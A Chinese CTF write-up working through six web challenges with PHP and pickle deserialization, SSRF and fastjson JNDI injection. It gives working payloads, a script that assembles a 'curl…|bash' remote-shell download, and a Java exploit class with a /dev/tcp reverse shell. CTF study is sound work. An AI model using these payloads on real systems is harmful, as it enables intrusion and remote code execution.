k0t0r1

高校战疫 web 复现
各校大佬锤爆我Orz
扫描右侧二维码阅读全文
30
2020/04

高校战疫 web 复现

各校大佬锤爆我Orz

easy_trick_gzmtu

查看源码
<!--?time=Y或者?time=2020-->
提示了date('Y')=2020,而在date()中,可以通过\转义字符防止被解释
于是在每个字符前加一个\,简单回显注即可

然后通过file://localhost/进行SSRF读取本地文件
flag无法直接读,通过
file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php
获得一段源码

<?php

class trick{
    public $gf;
    public function content_to_file($content){  
        $passwd = $_GET['pass'];
        if(preg_match('/^[a-z]+\.passwd$/m',$passwd)) 
        {   
            if(strpos($passwd,"20200202")){
                echo file_get_contents("/".$content);
            }
        } 
    }
    public function aiisc_to_chr($number){
        if(strlen($number)>2){
            $str = "";
            $number = str_split($number,2);
            foreach ($number as $num ) {
                $str = $str .chr($num);
            }
            return strtolower($str);
        }
        return chr($number);
    }
    public function calc(){
        $gf=$this->gf;
        if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
            eval('$content='.$gf.';');
            $content =  $this->aiisc_to_chr($content); 
            return $content;
        }
    }
    public function __destruct(){
        $this->content_to_file($this->calc());
        
    }
}
unserialize((base64_decode($_GET['code'])));

?>

在正则中界定符是/n, 会把输入当成多行。而这个$会匹配换行符, preg_match()+strpos()可以直接用%0a绕过
calc()里面则是可以用!!'@'来拼凑,直接取反也可

<?php
class trick{
    public $gf;
    public function __construct(){
        $this->gf = ~'70766571';
        $this->gf='~\''.$this->gf.'\'';
    }
}

$trick = new trick();
echo urlencode(base64_encode(serialize($trick)));

// Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoxMToififIz8jJycrIziciO30%3D

payload:
?pass=aa.passwd%0A20200202&code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoxMToififIz8jJycrIziciO30%3D

hardphp

webct

这题没拿下源码,看wp来写的

先是test_sql.php

<?php
error_reporting(0);
include "config.php";
$ip = $_POST['ip'];
$user = $_POST['user'];
$password = $_POST['password'];
$option = $_POST['option'];
$m = new db($ip,$user,$password,$option);
$m->testquery();

用于连接远程数据库
接着看到Db类

class Db
{
    public $ip;
    public $user;
    public $password;
    public $option;
    function __construct($ip,$user,$password,$option)
    {
        $this->user=$user;
        $this->ip=$ip;
        $this->password=$password;
        $this->option=$option;
    }
    function testquery()
    {
        $m = new mysqli($this->ip,$this->user,$this->password);
        if($m->connect_error){
            die($m->connect_error);
        }
        $m->options($this->option,1);
        $result=$m->query('select 1;');
        if($result->num_rows>0)
        {
            echo '测试完毕,数据库服务器处于开启状态';
        }
        else{
            echo '测试完毕,数据库服务器未开启';
        }
    }
}

可以看到用了select 1;来测试远程数据库是否开启,这里自然就想到用rogue mysql server来读取服务器文件

<?php
error_reporting(0);
include "config.php";
//var_dump($_FILES["file"]);
$file = new File($_FILES["file"]);
$fileupload = new Fileupload($file);
$fileupload->deal();
echo "存储的图片:"."
";
$ls = new Listfile('./uploads/'.md5($_SERVER['REMOTE_ADDR']));
echo $ls->listdir()."
";
?>

再看到上传文件处,跟着进入到几个相关联的类

class File
{
    public $uploadfile;
    function __construct($filename)
    {
        $this->uploadfile=$filename;
    }
    function xs()
    {
        echo '请求结束';
    }
}

class Fileupload
{
    public $file;
    function __construct($file)
    {
        $this->file = $file;
    }
    function deal()
    {
        $extensionarr=array("gif","jpeg","jpg","png");
        $extension = pathinfo($this->file->uploadfile['name'], PATHINFO_EXTENSION);
        $type = $this->file->uploadfile['type'];
        //echo "type: ".$type;
        $filetypearr=array("image/jpeg","image/png","image/gif");
        if(in_array($extension,$extensionarr)&in_array($type,$filetypearr)&$this->file->uploadfile["size"]<204800)
        {
            if ($_FILES["file"]["error"] > 0) {
                echo "错误:: " .$this->file->uploadfile["error"] . "";
                die();
            }else{
                if(!is_dir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/")){
                    mkdir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/");
                }
                $upload_dir="./uploads/".md5($_SERVER['REMOTE_ADDR'])."/";
                move_uploaded_file($this->file->uploadfile["tmp_name"],$upload_dir.md5($this->file->uploadfile['name']).".".$extension);
                echo "上传成功"."";
            }
        }
        else{
            echo "不被允许的文件类型"."";
        }
    }
    function __destruct()
    {
        $this->file->xs();
    }
}
class Listfile
{
    public $file;
    function __construct($file)
    {
        $this->file=$file;
    }
    function listdir(){
        system("ls ".$this->file)."";
    }
    function __call($name, $arguments)
    {
        system("ls ".$this->file);
    }
}

这里看到Listfile类中有__call(),可以通过控制file属性来执行任意命令

class Listfile
{
    public $file;
    function __construct($file)
    {
        $this->file=$file;
    }
    function listdir(){
        system("ls ".$this->file)."";
    }
    function __call($name, $arguments)
    {
        system("ls ".$this->file);
    }
}

Fileupload类中的__destruct()file属性设为Listfile类后即可触发

function __destruct()
{
    $this->file->xs();
}

既然能上传文件,又有反序列化,那就可以用到phar了
不过这里需要有能够触发phar的位置,这里还是要看xzs师傅的骚操作
[
Phar与Stream Wrapper造成PHP RCE的深入挖掘](https://blog.zsxsoft.com/post/38)
通过MYSQL的LOAD DATA LOCAL INFILE触发

<?php
class Fileupload
{
    public $file;
}
class Listfile
{
    public $file = '/;'; # 要执行的命令
}

$phar = new Phar("file.phar");
$phar->startBuffering();
$phar->setStub("");
$fileupload = new Fileupload();
$fileupload->file = new Listfile();
$phar->setMetadata($fileupload);
$phar->addFromString("1.txt", "test"); 
$phar->stopBuffering();

# /;
# /;/readflag;

生成文件后上传

Rogue-MySql-Server
修改读取的文件为phar://./uploads/hash/test.jpg
然后访问伪造数据库即可

webtmp

题目源码

import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category))
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"

    sample_obj = Animal('一给我哩giaogiao', 'Giao')
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

这题主要参考这篇文章
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势

先一这题为例子分析一下pickle反序列化

import pickle
import pickletools

class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category

if __name__ == '__main__':
    animal = Animal("kotori", "umi")
    s = pickle.dumps(animal)
    print(s)
    s = pickletools.optimize(s)
    pickletools.dis(s)

输出

b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub.'
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ Animal'
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: }    EMPTY_DICT
   22: (    MARK
   23: X        BINUNICODE 'name'
   32: X        BINUNICODE 'kotori'
   43: X        BINUNICODE 'category'
   56: X        BINUNICODE 'umi'
   64: u        SETITEMS   (MARK at 22)
   65: b    BUILD
   66: .    STOP
highest protocol among opcodes = 2

\x80 读到这个操作符后,机器继续往下读取一个字符也就是\x03
\x03 是使用的序列化协议版本,pickle一共有0、2、3、4号版本协议,默认为3号,\x03就是使用3号协议。同时协议是向前兼容的,0号协议无论几号协议都是能够解析的
cGLOBAL操作符,用于引入模块。机器读到后会继续读取两个连续的字符串modulename,以\n分隔,然后放入栈中。这里引入的是__main__.Animal
q\x00 没查到是什么,看起来是来分隔命令的
) 往栈里压入一个一个空元组
\x81 将栈顶的空元组弹出作为args,然后再将栈顶的class弹出记为cls,然后进行实例化再压入栈。也就是将__main__.Animal实例化

此时实例化的Animal里面是空的
继续分析

} 往栈压入一个空字典
(MARK操作符,将当前栈作为一个list压入前序栈,然后清空当前栈(这里的当前栈和前序栈文章里有说)
X 读入一个二进制字符串,以q\x0x结尾。执行了四个X后,当前栈由底到顶就是name kotori category umi
u 将当前栈的数据pop到空数组arr中,执行后arr=['name','kotori','category','umi']。然后回到MARK前的状态,也就是当前栈中存有Animal和一个空字典。最后两个为一组键值对读取arr存入空字典中,此时空字典dict={'name':'kotori','category':'umi'}
b 将栈顶元素存入state,然后弹掉,也就是将dict存入state。然后再将栈顶元素存入inst,弹掉,也就是将Animal存入inst。然后用state更新对象inst,也就是给实例化的空对象填入内容
. 弹出反序列化后的对象,结束反序列化

这里在用state更新对象inst处有安全问题

def load_build(self):
        stack = self.stack
        state = stack.pop()
        inst = stack[-1]
        setstate = getattr(inst, "__setstate__", None)
        if setstate is not None:
            setstate(state)
            return
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)
    dispatch[BUILD[0]] = load_build

看到pickle源码的load_build()
可以看到当inst(实例化的类)中有__setstate__属性时,这会执行setstate(),并以state的值的参数。也就是说,如果能控制__setstate__属性的属性值为系统函数,并且state为可控的,就能够执行任意命令

文章中给出这么一个操作,设置state={'__setstate__':'os.system'},然后BUILD后实例化中的类就有了__setstate__属性。然后将ls /压入栈,再进行一次BUILD。此时state='ls /',而inst中也有__setstate__属性,值为os.system。这样就会执行setstate(state),也就是os.system(’ls /’),读取了根目录

不过这个和下面解这题的内容没太大关系,只是我一开始没理解这里记录一下而已。不过这个方法解这题应该也是可行的

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category))
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"

    sample_obj = Animal('一给我哩giaogiao', 'Giao')
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)

这题看/部分,需要反序列化后的结果和用密钥对实例化的结果相同才给flag

文章中说到的__reduce_执行任意函数需要指令码R,而这题中过滤掉了

if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'

同时由于find_class()被重写,只能够由__main__引入,直接指向secret中的值是不可能了

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

这里利用文章中的另一种方式,篡改module
虽然只能由__main__引入,但import进来的secret也是属于__main__的。于是可以通过c指令给secret中的属性赋值

这里由于原题给出的源码不太好复现,就改了一下

# -*- coding:utf8 -*- 
import pickle
import base64
import io
import sys

import secret 

print(secret.name)
print(secret.category)

class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

if __name__ == '__main__':
    pickle_data = ""
    if b'R' in base64.b64decode(pickle_data):
        print('No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.')
        exit()
    else:
        result = restricted_loads(base64.b64decode(pickle_data))
    if type(result) is not Animal:
        print(type(result))
        print('Are you sure that is an animal???')
        exit()
    correct = (result == Animal(secret.name, secret.category))
    print(correct)

先序列化一个正常的Animal

import pickle
import pickletools
import secret

class Animal:
    def __init__(self):
        self.name = 'kotori'
        self.category = 'umi'

if __name__ == '__main__':
    animal = Animal()
    print(pickle.dumps(animal))

\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub.

secretAnimal差不多,改个名,把)\x81去掉即可

\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub.

接着BUILD指令后接上POP指令,将sercet弹出,防止反序列化结束时有多个实例导致出错

\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub0.

然后接上去掉\x80\x03Animal

\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub0c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub.

这里发现好像q\x0x并不要求每次增1

import pickle
import pickletools
import secret

class Animal:
    def __init__(self):
        self.name = 'kotori'
        self.category = 'umi'

if __name__ == '__main__':
    s = b"\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub0c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub."
    s = pickletools.optimize(s)
    pickletools.dis(s)
    res = pickle.loads(s)
    print(res.name)

测试一下

    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ secret'
   19: }    EMPTY_DICT
   20: (    MARK
   21: X        BINUNICODE 'name'
   30: X        BINUNICODE 'kotori'
   41: X        BINUNICODE 'category'
   54: X        BINUNICODE 'umi'
   62: u        SETITEMS   (MARK at 20)
   63: b    BUILD
   64: 0    POP
   65: c    GLOBAL     '__main__ Animal'
   82: )    EMPTY_TUPLE
   83: \x81 NEWOBJ
   84: }    EMPTY_DICT
   85: (    MARK
   86: X        BINUNICODE 'name'
   95: X        BINUNICODE 'kotori'
  106: X        BINUNICODE 'category'
  119: X        BINUNICODE 'umi'
  127: u        SETITEMS   (MARK at 85)
  128: b    BUILD
  129: .    STOP
highest protocol among opcodes = 2
kotori

没问题
于是base64加密放入

if __name__ == '__main__':
    pickle_data = "gANjX19tYWluX18Kc2VjcmV0CnEAfXEBKFgEAAAAbmFtZXECWAYAAABrb3RvcmlxA1gIAAAAY2F0ZWdvcnlxBFgDAAAAdW1pcQV1YjBjX19tYWluX18KQW5pbWFsCnEAKYFxAX1xAihYBAAAAG5hbWVxA1gGAAAAa290b3JpcQRYCAAAAGNhdGVnb3J5cQVYAwAAAHVtaXEGdWIu"
    if b'R' in base64.b64decode(pickle_data):
        print('No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.')
        exit()
    else:
        result = restricted_loads(base64.b64decode(pickle_data))
    if type(result) is not Animal:
        print(type(result))
        print('Are you sure that is an animal???')
        exit()
    correct = (result == Animal(secret.name, secret.category))
    print(correct)

结果成功覆盖

hackme

www.zip获得源码

init.php中设置了session的序列化类型

<?php
//初始化整个页面
error_reporting(0);
//lib.php包括一些常见的函数
include 'lib.php';
session_save_path('session');
ini_set('session.serialize_handler','php_serialize');
session_start();

猜测是session反序列化漏洞

而在profile.php中找到了不同的序列方式

<?php
error_reporting(0);
session_save_path('session');
include 'lib.php';
ini_set('session.serialize_handler', 'php');
session_start();

class info
{
    public $admin;
    public $sign;

    public function __construct()
    {
        $this->admin = $_SESSION['admin'];
        $this->sign = $_SESSION['sign'];

    }

    public function __destruct()
    {
        echo $this->sign;
        if ($this->admin === 1) {
            redirect('./core/index.php');
        }
    }
}

$a = new info();
?>

同时可以看到,当admin为1是,跳转/core/index.php

/core/index.php

<?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
    #变成管理员吧,奥利给
} else {
    die('只有管理员才能看到我哟');
}

会对session进行检查

<?php
//初始化整个页面
#error_reporting(0);
//lib.php包括一些常见的函数
include '../lib.php';
session_save_path('../session');
ini_set('session.serialize_handler', 'php');
session_start();

同时也是使用php方式的序列化

function check_session($session)
{
    foreach ($session as $keys => $values) {
        foreach ($values as $key => $value) {
            if ($key === 'admin' && $value === 1) {
                return true;
            }
        }
    }
    return false;
}

check_session()检查session中需要有一个值为数组,且数组中为admin的键的值为1

然后再去到upload_sign.php

<?php
require_once('init.php');

class upload_sign
{
    public $sign;
    public $admin = 0;

    public function __construct()
    {
        if (isset($_POST['sign'])) {
            $this->sign = $_POST['sign'];
        } else {
            $this->sign = "这里空空如也哦";
        }
    }

    public function upload()
    {
        if ($this->checksign($this->sign)) {
            $_SESSION['sign'] = $this->sign;
            $_SESSION['admin'] = $this->admin;
        } else {
            echo "???";
        }
    }

    public function checksign($sign)
    {
        return true;
    }
}

$a = new upload_sign();
$a->upload();

这里将POST得到的sign放入session中,可以利用这里注入session

于是构造一个符合条件的sign值
|a:1:{s:5:"admin";i:1;}sign|s:4:"xxxx";}
这里将第一个键值设为数组,且里面只有一个admin的键值对,这样就可以通过check_session()

设置完访问一次/profile.php再去访问/core/index.php,获得源码

require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
    #hint : core/clear.php
    $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
    echo $sandbox;
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_POST['url'])) {
        $url = $_POST['url'];
        if (filter_var($url, FILTER_VALIDATE_URL)) {
            if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
                echo "you are hacker";
            } else {
                $res = parse_url($url);
                if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
                    $code = file_get_contents($url);
                    if (strlen($code) <= 4) {
                        @exec($code);
                    } else {
                        echo "try again";
                    }
                }
            }
        } else {
            echo "invalid url";
        }
    } else {
        highlight_file(__FILE__);
    }
} else {
    die('只有管理员才能看到我哟');
}

Hitcon的题,不过需要想办法绕过前面的

一开始还想通过访问profile.php,设置sign值来执行命令,但发现并不能携带cookie。gopher协议也是因为file_get_contents()无法urldecode无法携带cookie。卡了很久后大佬提供了一个绕过方式
compress.zlib://data:@127.0.0.1/plain;base64,
我的SSRF太菜了Orz,这里记一下
协议被过滤可以尝试使用compress.bzip2://compress.zlib://搭载在其它协议的前面进行绕过

于是上脚本getshell得到flag

# -*-coding:utf8-*-
import requests as r
from time import sleep
import random
import hashlib
import base64

target = 'http://121.36.222.22:88/'

cookies = {'PHPSESSID': '34249cec09642c9143355bcce08270bc'}
page = "core/index.php"

payload = [
    # generate "g> ht- sl" to file "v"
    '>dir', 
    '>sl', 
    '>g\>',
    '>ht-',
    '*>v',

    # reverse file "v" to file "x", content "ls -th >g"
    '>rev',
    '*v>x',

    # generate "curl xxx.xx.xxx.x:xxxx|bash"
    '>\;\\', 
    '>sh\\', 
    '>ba\\', 
    '>\|\\', 
    '>xx\\',
    '>xx\\',
    '>x:\\', 
    '>x.\\', 
    '>xx\\',
    '>x.\\', 
    '>x\\', 
    '>x.\\', 
    '>xx\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # got shell
    'sh x', 
    'sh g', 
]

for i in payload:
    i = i.encode()
    cmd = base64.b64encode(i)
    cmd = cmd.decode()
    data = {
        "url": "compress.zlib://data:@127.0.0.1/plain;base64,{}".format(cmd)
    }
    print(data)
    s = r.post(target + page, cookies=cookies, data=data)
    print(s.text)

print(s.text)

baby_java

Java题莫得环境只能列点了

首先是一个XXE,能打拿到使用的依赖

Method%uFF1A post 
Path %uFF1A /you_never_know_the_path

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.2.4.RELEASE</version>
        <relativePath/><!-- lookup parent from repository -->
    </parent>
    <groupId>com.tr1ple</groupId>
    <artifactId>sus</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>baby_java</name>
    <description>Spring Boot</description>

    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-configuration2</artifactId>
            <version>2.2</version>
        </dependency>
        <dependency>
            <groupId>org.aspectj</groupId>
            <artifactId>aspectjweaver</artifactId>
            <version>1.9.5</version>
        </dependency>
        <dependency>
            <groupId>org.aspectj</groupId>
            <artifactId>aspectjtools</artifactId>
            <version>1.9.5</version>
        </dependency>
        <dependency>
            <groupId>saxpath</groupId>
            <artifactId>saxpath</artifactId>
            <version>1.0-FCS</version>
        </dependency>
        <dependency>
            <groupId>commons-configuration</groupId>
            <artifactId>commons-configuration</artifactId>
            <version>1.6</version>
        </dependency>
        <dependency>
            <groupId>commons-lang</groupId>
            <artifactId>commons-lang</artifactId>
            <version>2.5</version>
        </dependency>
        <dependency>
            <groupId>org.apache.flex.blazeds</groupId>
            <artifactId>flex-messaging-core</artifactId>
            <version>4.7.3</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.48</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
            <exclusions>
                <exclusion>
                    <groupId>org.junit.vintage</groupId>
                    <artifactId>junit-vintage-engine</artifactId>
                </exclusion>
            </exclusions>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

这里利用fastjson(<=1.2.61)的JNDI注入漏洞

fastjson 1.2.61远程代码执行漏洞分析&复现

{"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"rmi://ip:port/Exploit"}

这样进行利用即可,这里由于过滤了type,用\x74ype代替。prefix的过滤则是利用fastjson中parseField函数会去掉字符串中的-和开头的_,于是添加一个-或者_即可绕过

由于有commons collections3.1,直接远程开个JRMP弹shell即可

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

为了本地复现这个漏洞前前后后整spring框架这些整了快一个星期,最后还是因为高版本 Java中会被trustURLCodebase拦截,最终复现失败Orz

不过java小白这里还是记一下JRMP的弹shell方式
将编译好的恶意class放到tomcat的/webapps/ROOT/WEB-INF/classes/目录下,classes目录要自己创建

public class Exploit {
    public Exploit(){
        try {
            Runtime.getRuntime().exec("calc");
            // java.lang.Runtime.getRuntime().exec(
            //         new String[]{"bash", "-c", "bash -i >& /dev/tcp/192.168.85.128/4545 0>&1"});
        } catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

然后web.xml中配置class的访问路径(这里的.class可能是不需要的)

<servlet>
      <servlet-name>Exploit</servlet-name>
      <servlet-class>Exploit</servlet-class>
</servlet>
<servlet-mapping>
      <servlet-name>Exploit</servlet-name>
      <url-pattern>/Exploit.class</url-pattern>
</servlet-mapping>

然后下载marshalsec
使用maven安装mvn clean package -DskipTests
装完后就可以启用rmi或者ladp服务,然后让目标机访问即可

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit 1099
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 1389

fmkq

进入是源码

 <?php
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
    $begin = "The number you want: ";
    extract($_GET);
    if($head == ''){
        die('Where is your head?');
    }
    if(preg_match('/[A-Za-z0-9]/i',$head)){
        die('Head can\'t be like this!');
    }
    if(preg_match('/log/i',$url)){
        die('No No No');
    }
    if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
        die('Don\'t use strange protocol!');
    }
    $funcname = $head.'curl_init';

    $ch = $funcname();
    if($ch){
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        curl_close($ch);
    }
    else{
        $output = 'rua';
    }
    echo sprintf($begin.'%d',$output);
}
else{
    show_source(__FILE__);
} 

过滤了各种协议,head的值需要连接curl_init后不影响函数执行,同时output的输出值只会为int型需要绕过
通过fuzz发现\不会影响,好像是命名空间的原因,所有内置函数都于根目录下
sprintf()可以通过extract()begin进行变量覆盖为%s%,使后面的%d无效,output以string型输出

搞定这两个后一直在找怎么绕过,但好像并没用什么绕过的好方法。没想到这题又是要扫内网
扫端口可以发现8080端口能够使用

当为vip时可以读取任意文件,非vip则只能读取/tmp/目录下的文件。这里{file}提示的是python的格式化字符串漏洞了

class a:
    a = "a"
    b = "b"
a = a()
b = "hello {c.a} and {c.b}".format(c=a)
print b

一个简单的小栗子
输出为:hello a and b
这里由于通过format()对c注入了对象a,于是{}中的c.ac.b就是对象a中的属性a和b

这题中后端注入的是file,但不知道里面有什么,于是用{file.__dict__}遍历对象
{'vipcode':'0','file':,'vip':}
然后再{file.vip.__dict__}遍历一下vip
{'truevipcode':'JacnmgC5EQPDfYUTvON9iowsVe3210zWXlMZ6ISKFhtqbrjy'}
获得真vip的vipcode值

?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/%26vipcode=JacnmgC5EQPDfYUTvON9iowsVe3210zWXlMZ6ISKFhtqbrjy
扫根目录,得知flag在fl4g_1s_h3re_u_wi11_rua目录下但无法读取

于是拿一下源码,读到readfile.py

current_folder_file = [] 
class vipreadfile(): 
    def __init__(self,readfile): 
        self.filename = readfile.GetFileName() 
        self.path = os.path.dirname(os.path.abspath(self.filename)) 
        self.file = File(os.path.basename(os.path.abspath(self.filename)))
        global current_folder_file 
        try:
            current_folder_file = os.listdir(self.path) 
        except: 
            current_folder_file = current_folder_file 

    def __str__(self): 
        if 'fl4g' in self.path: 
            return 'nonono,this folder is a secret!!!' 
        else:
            output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n''' 
            filepath = (self.path + '/{vipfile}').format(vipfile=self.file) 
            output += filepath 
            output += '\r\n\r\nThe content is:\r\n' 
            try:
                f = open(filepath,'r') 
                content = f.read() 
                f.close() 
            except: 
                content = 'can\'t read' 
            output += content 
            output += '\r\n\r\nOther files under the same folder:\r\n' 
            output += ' '.join(current_folder_file) 
            return output

可以看到这里filepath又用了一次格式字符串,注入的self.file为文件名,而过滤的是路径中的fl4g
要读取的路径是/fl4g_1s_h3re_u_wi11_rua/flagself.file的值就为flag,于是取self.file[0]得到f接在路径上,这样就能绕过fl4g的检查

于是payload:
?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/{vipfile[0]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=JacnmgC5EQPDfYUTvON9iowsVe3210zWXlMZ6ISKFhtqbrjy
我觉得应该是这样,但看大佬的payload是{vipfile.file[0]},但vipfile不是本身就是文件名了吗?

